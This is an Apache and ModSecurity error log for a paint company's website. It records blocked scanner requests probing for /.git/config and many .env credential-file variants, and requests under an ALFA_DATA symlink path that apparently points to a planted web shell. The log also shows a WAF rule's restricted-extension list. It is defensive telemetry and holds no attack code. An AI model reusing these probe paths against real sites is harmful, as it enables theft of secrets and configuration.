[Tue Oct 27 01:41:18.612237 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 3.216.227.216:45460] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:41:28.486063 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 34.225.24.180:57505] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:41:34.423927 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 34.236.185.101:21892] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:41:42.453648 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 3.213.85.234:13230] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:41:50.260080 2026] [security2:error] [pid 3147513:tid 3147513] [client 54.144.185.255:53490] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/msi_irqs/"] [unique_id "auA5nsqawth2HP9RxtL-mwAAAAY"]
[Tue Oct 27 01:41:50.260128 2026] [security2:error] [pid 3147513:tid 3147513] [client 54.144.185.255:53490] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/msi_irqs/"] [unique_id "auA5nsqawth2HP9RxtL-mwAAAAY"]
[Tue Oct 27 01:41:58.374608 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 44.212.131.50:57013] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:42:06.245205 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 52.2.58.41:14312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:42:10.303214 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 18.206.47.187:13314] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:42:21.957410 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 85.208.96.198:42084] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:42:22.318765 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 52.1.157.90:47567] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:42:46.356373 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 3.93.211.16:18428] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:42:54.195054 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 3.232.82.72:1440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:42:54.352108 2026] [core:error] [pid 3167840:tid 3167840] (13)Permission denied: [client 185.191.171.6:17718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/objects
[Tue Oct 27 01:42:58.403107 2026] [core:error] [pid 3170301:tid 3170301] (13)Permission denied: [client 44.207.207.36:24376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS0/port
[Tue Oct 27 01:43:06.247883 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 107.23.62.75:63800] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:43:28.971457 2026] [security2:error] [pid 3169840:tid 3169840] [client 16.216.88.124:40960] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/455_mod_unixd.conf"] [unique_id "auA6AMkbbDK06qDUYmCooQAAAAU"]
[Tue Oct 27 01:43:28.971912 2026] [security2:error] [pid 3169840:tid 3169840] [client 16.216.88.124:40960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/455_mod_unixd.conf"] [unique_id "auA6AMkbbDK06qDUYmCooQAAAAU"]
[Tue Oct 27 01:43:28.972205 2026] [security2:error] [pid 3169840:tid 3169840] [client 16.216.88.124:40960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/455_mod_unixd.conf"] [unique_id "auA6AMkbbDK06qDUYmCooQAAAAU"]
[Tue Oct 27 01:43:30.413386 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 3.209.174.110:23640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:43:41.712026 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6Dcqawth2HP9RxtL-qAAAAAY"]
[Tue Oct 27 01:43:41.712291 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6Dcqawth2HP9RxtL-qAAAAAY"]
[Tue Oct 27 01:43:41.712544 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6Dcqawth2HP9RxtL-qAAAAAY"]
[Tue Oct 27 01:43:41.921609 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6Dcqawth2HP9RxtL-qgAAAAY"]
[Tue Oct 27 01:43:41.921878 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6Dcqawth2HP9RxtL-qgAAAAY"]
[Tue Oct 27 01:43:41.922190 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6Dcqawth2HP9RxtL-qgAAAAY"]
[Tue Oct 27 01:43:42.103043 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6Dsqawth2HP9RxtL-qwAAAAY"]
[Tue Oct 27 01:43:42.103287 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6Dsqawth2HP9RxtL-qwAAAAY"]
[Tue Oct 27 01:43:42.103564 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6Dsqawth2HP9RxtL-qwAAAAY"]
[Tue Oct 27 01:43:42.285216 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6Dsqawth2HP9RxtL-rAAAAAY"]
[Tue Oct 27 01:43:42.285480 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6Dsqawth2HP9RxtL-rAAAAAY"]
[Tue Oct 27 01:43:42.285763 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6Dsqawth2HP9RxtL-rAAAAAY"]
[Tue Oct 27 01:43:42.391673 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6Dsqawth2HP9RxtL-rQAAAAY"]
[Tue Oct 27 01:43:42.391952 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6Dsqawth2HP9RxtL-rQAAAAY"]
[Tue Oct 27 01:43:42.392208 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6Dsqawth2HP9RxtL-rQAAAAY"]
[Tue Oct 27 01:43:42.488254 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6Dsqawth2HP9RxtL-rgAAAAY"]
[Tue Oct 27 01:43:42.488471 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6Dsqawth2HP9RxtL-rgAAAAY"]
[Tue Oct 27 01:43:42.488718 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6Dsqawth2HP9RxtL-rgAAAAY"]
[Tue Oct 27 01:43:42.504686 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6Dsqawth2HP9RxtL-rwAAAAY"]
[Tue Oct 27 01:43:42.504862 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6Dsqawth2HP9RxtL-rwAAAAY"]
[Tue Oct 27 01:43:42.505118 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6Dsqawth2HP9RxtL-rwAAAAY"]
[Tue Oct 27 01:43:42.580742 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6Dsqawth2HP9RxtL-sAAAAAY"]
[Tue Oct 27 01:43:42.581004 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6Dsqawth2HP9RxtL-sAAAAAY"]
[Tue Oct 27 01:43:42.581253 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6Dsqawth2HP9RxtL-sAAAAAY"]
[Tue Oct 27 01:43:42.712960 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6Dsqawth2HP9RxtL-sQAAAAY"]
[Tue Oct 27 01:43:42.713212 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6Dsqawth2HP9RxtL-sQAAAAY"]
[Tue Oct 27 01:43:42.713508 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6Dsqawth2HP9RxtL-sQAAAAY"]
[Tue Oct 27 01:43:42.744223 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6Dsqawth2HP9RxtL-sgAAAAY"]
[Tue Oct 27 01:43:42.744438 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6Dsqawth2HP9RxtL-sgAAAAY"]
[Tue Oct 27 01:43:42.744746 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6Dsqawth2HP9RxtL-sgAAAAY"]
